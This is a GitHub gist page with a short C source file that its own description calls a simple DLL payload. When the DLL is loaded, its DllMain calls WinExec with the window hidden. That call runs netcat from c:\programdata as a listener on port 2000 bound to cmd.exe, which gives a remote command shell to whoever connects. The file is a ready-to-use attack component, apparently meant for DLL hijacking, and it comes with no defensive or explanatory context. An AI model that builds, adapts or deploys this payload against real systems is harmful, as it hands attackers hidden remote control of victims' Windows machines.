-
-
Save xct/3949f3f4f178b1f3427fae7686a2a9c0 to your computer and use it in GitHub Desktop.
Simple dll payload that starts a nc listener
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "stdafx.h" | |
#include <windows.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
int pwn() | |
{ | |
WinExec("c:\\programdata\\nc64.exe -lvp 2000 -e cmd.exe", 0); | |
return 0; | |
} | |
BOOL APIENTRY DllMain( HMODULE hModule, | |
DWORD ul_reason_for_call, | |
LPVOID lpReserved | |
) | |
{ | |
switch (ul_reason_for_call) | |
{ | |
case DLL_PROCESS_ATTACH: | |
pwn(); | |
case DLL_THREAD_ATTACH: | |
case DLL_THREAD_DETACH: | |
case DLL_PROCESS_DETACH: | |
break; | |
} | |
return TRUE; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment